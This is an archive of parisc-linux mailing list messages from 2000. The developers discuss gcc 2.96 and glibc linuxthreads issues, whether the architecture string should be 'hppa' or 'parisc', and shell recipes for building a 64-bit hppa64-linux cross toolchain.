> I've already told willy this, but this is due to the C++ support.
> Configure with --enable-languages=c for the time being until it's sorted.

Ah, sorry, it happens if you configure glibc without linuxthreads
support (because, then, you have no spinlocks, obviously).  It seems
that we've already got the appropriate locking primitives
there... trying it now.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with gcc 2.96
Date: Tue, 11 Jul 2000 00:38:58 +1000 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007110027540.12784-100000@front.linuxcare.com.au>
References: <87lmzacbp2.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618993 1341 80.91.229.3 (22 Nov 2014 01:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Jul 10 08:37:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA05562
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 08:37:41 -0600
Original-Received: (qmail 9557 invoked by uid 15267); 10 Jul 2000 14:39:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9519 invoked from network); 10 Jul 2000 14:39:09 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 14:39:09 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA25331;
	Tue, 11 Jul 2000 00:38:58 +1000
In-Reply-To: <87lmzacbp2.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7526

On 10 Jul 2000, David Huggins-Daines wrote:

> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > I've already told willy this, but this is due to the C++ support.
> > Configure with --enable-languages=c for the time being until it's sorted.
> 
> Ah, sorry, it happens if you configure glibc without linuxthreads
> support (because, then, you have no spinlocks, obviously).  It seems
> that we've already got the appropriate locking primitives
> there... trying it now.

Yeah, I got enthusiastic about implementing linuxthreads, and put in
support for parisc style spinlocks using ldcw (Load and Clear Word).
We need to grab a lock by clearing it so the locks need to be initialised
to non-zero, which is exactly opposite to other glibc spinlocks.  My
enthusiasm waned when I hit a missing syscall - forget what it was now.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with gcc 2.96
Date: 10 Jul 2000 10:59:35 -0400
Organization: Linuxcare, Inc.
Lines: 21
Approved: news@gmane.org
Message-ID: <877lauc9pk.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0007110027540.12784-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618993 1350 80.91.229.3 (22 Nov 2014 01:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Jul 10 08:59:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA06105
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 08:59:20 -0600
Original-Received: (qmail 31051 invoked by uid 15267); 10 Jul 2000 15:00:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31014 invoked from network); 10 Jul 2000 15:00:49 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 15:00:49 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Bf21-0003vj-00; Mon, 10 Jul 2000 10:59:37 -0400
In-Reply-To: Alan Modra's message of "Tue, 11 Jul 2000 00:38:58 +1000 (EST)"
Original-Lines: 20
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7527

Alan Modra <alan@linuxcare.com.au> writes:

> Yeah, I got enthusiastic about implementing linuxthreads, and put in
> support for parisc style spinlocks using ldcw (Load and Clear Word).
> We need to grab a lock by clearing it so the locks need to be initialised
> to non-zero, which is exactly opposite to other glibc spinlocks.  My
> enthusiasm waned when I hit a missing syscall - forget what it was now.

glibc doesn't really want to compile with linuxthreads for me -
something breaks in the way errno is handled and I get "undefined
reference to errno" when linking.

Jes says we don't really want to mess with that stuff until we have
shared libs working, and I'm inclined to trust him on that :-)

I guess for now we can just ignore libstdc++ and friends...

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] GCC and static branch prediction
Date: Tue, 23 Mar 1999 17:21:57 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <m10PUsJ-0007U2C@the-village.bc.nu>
References: <199903231612.LAA02124@caliban.physics.utoronto.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618993 1352 80.91.229.3 (22 Nov 2014 01:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:33 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Mar 23 11:28:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA32384
	for <hppa-linux@sod.res.cmu.edu>; Tue, 23 Mar 1999 11:28:14 -0500
Original-Received: (qmail 3617 invoked by uid 15267); 23 Mar 1999 16:27:11 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 3610 invoked from network); 23 Mar 1999 16:27:11 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 23 Mar 1999 16:27:11 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id QAA02773 for <hppa-linux@thepuffingroup.com>; Tue, 23 Mar 1999 16:28:03 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10PUsJ-0007U2C; Tue, 23 Mar 99 17:21 GMT
In-Reply-To: <199903231612.LAA02124@caliban.physics.utoronto.ca> from "Christopher Neufeld" at Mar 23, 99 11:12:33 am
Xref: news.gmane.org gmane.linux.ports.parisc:7528

>    A few of us were discussing recently a way to take advantage of static
> branch prediction in the PA-RISC architecture. The problem is that there
> is no ANSI C construct for specifying whether a branch is likely taken,
> or likely not taken.

We already sort of do this for the dynamic branch predictions. The gcc
code generator writes faster code for one path of an if/else in general
anyway. So you just get the pa-risc back end to output the right assumptions.

I'd start by walking though


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit compiler
Date: 10 Jul 2000 17:20:11 -0400
Organization: Linuxcare, Inc.
Lines: 26
Approved: news@gmane.org
Message-ID: <87wvitbs38.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618994 1359 80.91.229.3 (22 Nov 2014 01:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Mon Jul 10 15:19:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA12121
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 15:19:51 -0600
Original-Received: (qmail 20333 invoked by uid 15267); 10 Jul 2000 21:21:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20296 invoked from network); 10 Jul 2000 21:21:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 21:21:19 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13BkyL-00057P-00
	for <parisc-linux@thepuffingroup.com>; Mon, 10 Jul 2000 17:20:13 -0400
Original-Lines: 25
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7529

Hi,

I've just checked in the requisite configuration bits (and fixed a
buglet in BFD) to make it possible to build a 64-bit toolchain.  As
expected, merging forward to 2.96 made this a lot easier.

I have no idea whether it generates correct binaries or not, of course.

To try it out, this short recipe should do:

mkdir binutils-64-build && cd binutils-64-build
../binutils-2.10/configure --disable-nls --target=hppa64-linux
make
make install

cd ..
mkdir gcc-64-build && cd gcc-64-build
../gcc/configure --target=hppa64-linux --enable-languages=c \
        --disable-nls --disable-multilib
make
make install

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Architecture string change
Date: 10 Jul 2000 17:45:14 -0400
Organization: Linuxcare, Inc.
Lines: 72
Approved: news@gmane.org
Message-ID: <87og45bqxh.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618994 1361 80.91.229.3 (22 Nov 2014 01:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Mon Jul 10 15:44:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA12590
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 15:44:50 -0600
Original-Received: (qmail 15769 invoked by uid 15267); 10 Jul 2000 21:46:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15754 invoked from network); 10 Jul 2000 21:46:20 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 21:46:20 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13BlMY-0001IS-00
	for <parisc-linux@thepuffingroup.com>; Mon, 10 Jul 2000 17:45:14 -0400
Original-Lines: 71
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7530

Hi,

In keeping with the way things are done on other Linux platforms, I
would like us to start using the following architecture strings for
configuring our compilers:

32-bit userland and kernel, PA1.1: hppa-linux
64-bit kernel, PA2.0:              hppa64-linux

I guess this means that I volunteer to update the recipes on the
website :-)

config.guess will return a more detailed string, such as
'hppa2.0-unknown-linux-gnu', but these should be the canonical,
lowest-common-denominator strings.  In particular, we should revise
the recipes and such to use them and configure dpkg-architecture to
set DEB_GNU_HOST_ARCH to 'hppa-linux'.

I have not been able to get a solid answer out of anyone regarding
whether it is possible or desireable to use 'parisc-' instead of
'hppa-', so I will leave it as 'hppa' for the time being.  It is easy
enough to make 'parisc' an alias for 'hppa' if we want to.

Some pros and cons of using 'parisc' vs. 'hppa':

 * Pro: hppa*-linux targets produce very different 32-bit object code,
   as well as different 64-bit assembly code, so it may be beneficial
   to distinguish them from other PA-RISC targets.

 * Pro: I'm told that people at HP want to use 'parisc'.  Could those
   people please stand up :-)

 * Con: config.guess [1] will presumably return hppa*-*-linux-gnu.

 * Con: Every other operating system on PA-RISC uses hppa*-*-*.

(I know there are some more but I can't think of them right now)

Please remember that, now that we are entering userspace, any
decisions of this sort that we make are going to stick with us
forever. [2]

[1] Which I can't actually run since our page fault handler is broken:

> /bin/sh config.guess

do_page_fault() pid=8 command='sh'
                                  
Bad Address (null pointer deref?): Code=15 regs=c7e5c248 (Addr=00000001)
                                                                        
PSW  : 0004f80b  GR 1 : 00090350  GR 2 : 00007f4f  GR 3 : 00092e28  
GR 4 : 00000000  GR 5 : 00092b50  GR 6 : 00000019  GR 7 : 0000000e  
GR 8 : 00000001  GR 9 : 00092e28  GR10 : ffffffff  GR11 : 200206e2  
GR12 : 0000000a  GR13 : 00094b50  GR14 : 0007f621  GR15 : 00000000  
GR16 : 00094f0c  GR17 : 00000000  GR18 : 0000000e  GR19 : 00000001  
GR20 : 40100868  GR21 : 00000001  GR22 : 00000000  GR23 : 40100030  
GR24 : 40100848  GR25 : 00000020  GR26 : 40100010  GR27 : 0008f350  
GR28 : 40100850  GR29 : 00000001  GR30 : 20020880  GR31 : 000171d7  
SR0  : 00002001  SR1  : 00002001  SR2  : 00000100  SR3  : 00002001  
SR4  : 00002001  SR5  : 00002001  SR6  : 00002001  SR7  : 00002001  
                                                                    
IASQ : 00002001 00002001 IAOQ : 00007f53 00007f57
 IIR : 0e7c1280 ISR : 00002001 IOR : 00000001    

[2] A good example of this is how the soname for glibc is
'libc.so.6.1' on Linux/alpha instead of 'libc.so.6' due to a screwup
in an early Red Hat distribution...

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: Mon, 10 Jul 2000 15:59:32 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <200007102259.PAA12710@milano.cup.hp.com>
References: <87og45bqxh.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618994 1363 80.91.229.3 (22 Nov 2014 01:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Mon Jul 10 16:56:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA13429
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 16:56:14 -0600
Original-Received: (qmail 19432 invoked by uid 15267); 10 Jul 2000 22:57:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19425 invoked from network); 10 Jul 2000 22:57:44 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 22:57:44 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 194FC272; Mon, 10 Jul 2000 15:57:43 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA12710;
	Mon, 10 Jul 2000 15:59:38 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "10 Jul 2000 17:45:14 PDT."
             <87og45bqxh.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7531

David Huggins-Daines wrote:
>  * Pro: I'm told that people at HP want to use 'parisc'.  Could those
>    people please stand up :-)

I'm one of them. But I'm not religous about it.

Just seems goofy to have "hp" in the name.
IMHO, It'd be comparable to using sunsparc or decalpha.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: Mon, 10 Jul 2000 19:04:55 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200007102304.TAA02245@hiauly1.hia.nrc.ca>
References: <200007102259.PAA12710@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618995 1368 80.91.229.3 (22 Nov 2014 01:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:35 +0000 (UTC)
Cc: dhd@linuxcare.com, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jul 10 17:07:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA13613
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 17:07:22 -0600
Original-Received: (qmail 29403 invoked by uid 15267); 10 Jul 2000 23:08:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29395 invoked from network); 10 Jul 2000 23:08:52 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 10 Jul 2000 23:08:52 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA02245;
	Mon, 10 Jul 2000 19:04:57 -0400 (EDT)
In-Reply-To: <200007102259.PAA12710@milano.cup.hp.com> from "Grant Grundler" at Jul 10, 2000 03:59:32 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7532

> 
> David Huggins-Daines wrote:
> >  * Pro: I'm told that people at HP want to use 'parisc'.  Could those
> >    people please stand up :-)
> 
> I'm one of them. But I'm not religous about it.
> 
> Just seems goofy to have "hp" in the name.
> IMHO, It'd be comparable to using sunsparc or decalpha.

If it is going to change, why not just 'pa', for precision architecture.
Everbody knows it is risc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit compiler
Date: Mon, 10 Jul 2000 18:26:03 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <200007110126.SAA12879@milano.cup.hp.com>
References: <87wvitbs38.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618995 1369 80.91.229.3 (22 Nov 2014 01:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Mon Jul 10 19:22:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA14787
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 19:22:49 -0600
Original-Received: (qmail 12004 invoked by uid 15267); 11 Jul 2000 01:24:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11993 invoked from network); 11 Jul 2000 01:24:19 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 01:24:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 392A05DA; Mon, 10 Jul 2000 18:24:18 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA12879;
	Mon, 10 Jul 2000 18:26:14 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "10 Jul 2000 17:20:11 PDT."
             <87wvitbs38.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7533

David Huggins-Daines wrote:
> Hi,
> 
> I've just checked in the requisite configuration bits (and fixed a
> buglet in BFD) to make it possible to build a 64-bit toolchain.  As
> expected, merging forward to 2.96 made this a lot easier.
> 
> I have no idea whether it generates correct binaries or not, of course.
> 
> To try it out, this short recipe should do:

David,
The short recipe you included wasn't enough for me...
Could you post required changes for the following recipe?
(I call it recipe.puffin64)

This is based off of what Matt sent me a while back for 32-bit builds.

thanks,
grant

#!/bin/sh -x
# build the xcompiler and glibc recipe
# 5/2000
# willy, pb, taggart, others

# make sure we don't get anything from any existing $PREFIX/bin
PATH=/usr/local/bin:/usr/bin:/bin

# Top level
TOP=/linux/grundler

# Where your checked-out CVS sources live
SRC=$TOP

# Where your build sub-dirs go
BUILD=$TOP/xc-build64

# Where to put the final bits, needs to be owned by the
# current user(to avoid sudo games)
PREFIX=/opt/puffin64

# Requirements
# o $SRC has binutils-2.10 gcc checked out
# o $PREFIX/include comes from pehc:~ftp/pub/parisc/src/include.tar.gz
cd $TOP
cvs -z3 update -d binutils-2.10 gcc

# Copy include/asm and include/linux to $PREFIX/include
if [ ! -d $SRC/include ]
then
	echo  Please untar pehc:~ftp/pub/parisc/src/include.tar.gz in $PREFIX/include first!
	exit 1
fi

cp -r $SRC/linux-2.3/include/asm $PREFIX/include
cp -r $SRC/linux-2.3/include/linux $PREFIX/include


# Clean out and/or create some things
rm -fr $BUILD/build-gcc $BUILD/build-binutils
mkdir -p $BUILD/build-gcc $BUILD/build-binutils

### binutils
cd $BUILD/build-binutils
# $SRC/binutils-2.10/configure --enable-64-bit-bfd --target=hppa64-linux --prefix=$PREFIX --disable-nls
$SRC/binutils-2.10/configure --target=hppa64-linux --prefix=$PREFIX --disable-nls
make
make install

# Prepend $PREFIX/bin to the path to get the right binutils
PATH=$PREFIX/bin:$PATH

cd $BUILD/build-gcc && rm -r *
$SRC/gcc/configure \
	--target=hppa64-linux \
	--prefix=$PREFIX \
	--disable-nls \
	--without-libc

make LIBGCC2_INCLUDES=-I$PREFIX/include LANGUAGES=c
make install


From - Thu Nov 08 21:12:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: Mon, 10 Jul 2000 19:55:47 -0600 (MDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20000711015547.19021BEC2@rover.gag.com>
References: <87og45bqxh.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618995 1370 80.91.229.3 (22 Nov 2014 01:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Mon Jul 10 19:54:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15195
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jul 2000 19:54:50 -0600
Original-Received: (qmail 6751 invoked by uid 15267); 11 Jul 2000 01:56:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6731 invoked from network); 11 Jul 2000 01:56:20 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 01:56:20 -0000
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 19021BEC2; Mon, 10 Jul 2000 19:55:47 -0600 (MDT)
X-Newsgroups: list.parisc-linux
In-Reply-To: <87og45bqxh.fsf@linuxcare.com>
User-Agent: tin/1.4.2-20000205 ("Possession") (UNIX) (Linux/2.2.15pre15 (i686))
Xref: news.gmane.org gmane.linux.ports.parisc:7534

In article <87og45bqxh.fsf@linuxcare.com> you wrote:

> Some pros and cons of using 'parisc' vs. 'hppa':

I noted the last time I looked that all of HP's web-based documentation on 
the architecture seems to use 'parisc' pretty religiously.  

When I asked about the apparent confusion a while back, I got the very
strong indication that the parisc-linux community wanted to use 'parisc' for
the arhitecture string in Debian space... so that's the direction I've been
heading (mailing list, web pages, etc).  If we want to change, I can get it
done (no messages have passed the debian-parisc list yet despite over 50
subscribers, for example), but the sooner the better.

I have no emotional loading on this one, I just want to know the answer.  :-)

We *must* decide this once and for all *very* soon.  Pretty please.

Bdale


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <beerse@ats.nld.alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: Tue, 11 Jul 2000 12:18:03 +0200
Organization: Alcatel Telecom Nederland bv
Lines: 77
Approved: news@gmane.org
Message-ID: <396AF45B.36A2ED04@ats.nld.alcatel.nl>
References: <87og45bqxh.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618996 1372 80.91.229.3 (22 Nov 2014 01:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:36 +0000 (UTC)
To: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: beerse@ats.nld.alcatel.nl  Tue Jul 11 04:26:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA19692
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 04:26:52 -0600
Original-Received: (qmail 8645 invoked by uid 15267); 11 Jul 2000 10:28:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8633 invoked from network); 11 Jul 2000 10:28:23 -0000
Original-Received: from alc119.alcatel.be (HELO relay1.alcatel.be) (195.207.101.119)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 10:28:23 -0000
Original-Received: from nlsols1.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id e6BASEr23163
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Jul 2000 12:28:15 +0200 (MET DST)
Original-Received: from ats.nld.alcatel.nl (beerse@nlhw02 [138.203.176.72])
	by nlsols1.ats.nld.alcatel.nl (8.9.1/8.9.1) with ESMTP id MAA10134;
	Tue, 11 Jul 2000 12:18:05 +0200 (MET DST)
Original-Sender: beerse@ats.nld.alcatel.nl
X-Mailer: Mozilla 4.72 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7535

David Huggins-Daines wrote:
> 
